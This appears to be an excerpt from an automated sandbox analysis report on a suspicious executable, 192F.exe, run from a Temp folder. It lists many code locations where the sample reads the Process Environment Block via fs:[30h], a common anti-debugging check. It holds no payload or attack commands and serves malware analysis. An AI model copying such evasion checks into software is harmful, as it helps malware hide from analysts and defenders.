Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CE33D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A4320 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F358 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B5A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B5A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B5A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B5A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F340 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6365 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6365 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6365 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913880 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913880 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E8B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9238A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9238A4 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9590AF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228AE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9170C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9170C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228FD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228FD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9228FD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9140E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9140E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9140E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CE0E9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CE0E9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9158EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF019 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF019 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F018 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F018 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A928800 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944020 mov edi, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A917055 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D2073 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93F86D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944190 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942990 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91519E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91519E mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DA189 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DA189 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C9BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C9BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF1B5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF1B5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9461A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9461A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9299C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9299C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9299C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9299C7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9131E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E89E7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E9ED mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913138 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91395E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91395E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8966 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DE962 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DE9E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DE9E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DE9E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913E80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913E80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A2EA3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9946A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9436CC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9276E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953EE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953EE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953EE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9416E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A2E14 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C63D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91A63B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91A63B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A950E21 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6652 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943E70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CF674 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CE6C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CE6C mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92766D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913FC5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913FC5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913FC5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D7CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D7CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9537F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CDF1D mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CDF1D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944710 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9AFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9AFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C707 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C707 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C707 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916730 mov eax, dword ptr fs:[00000030h]
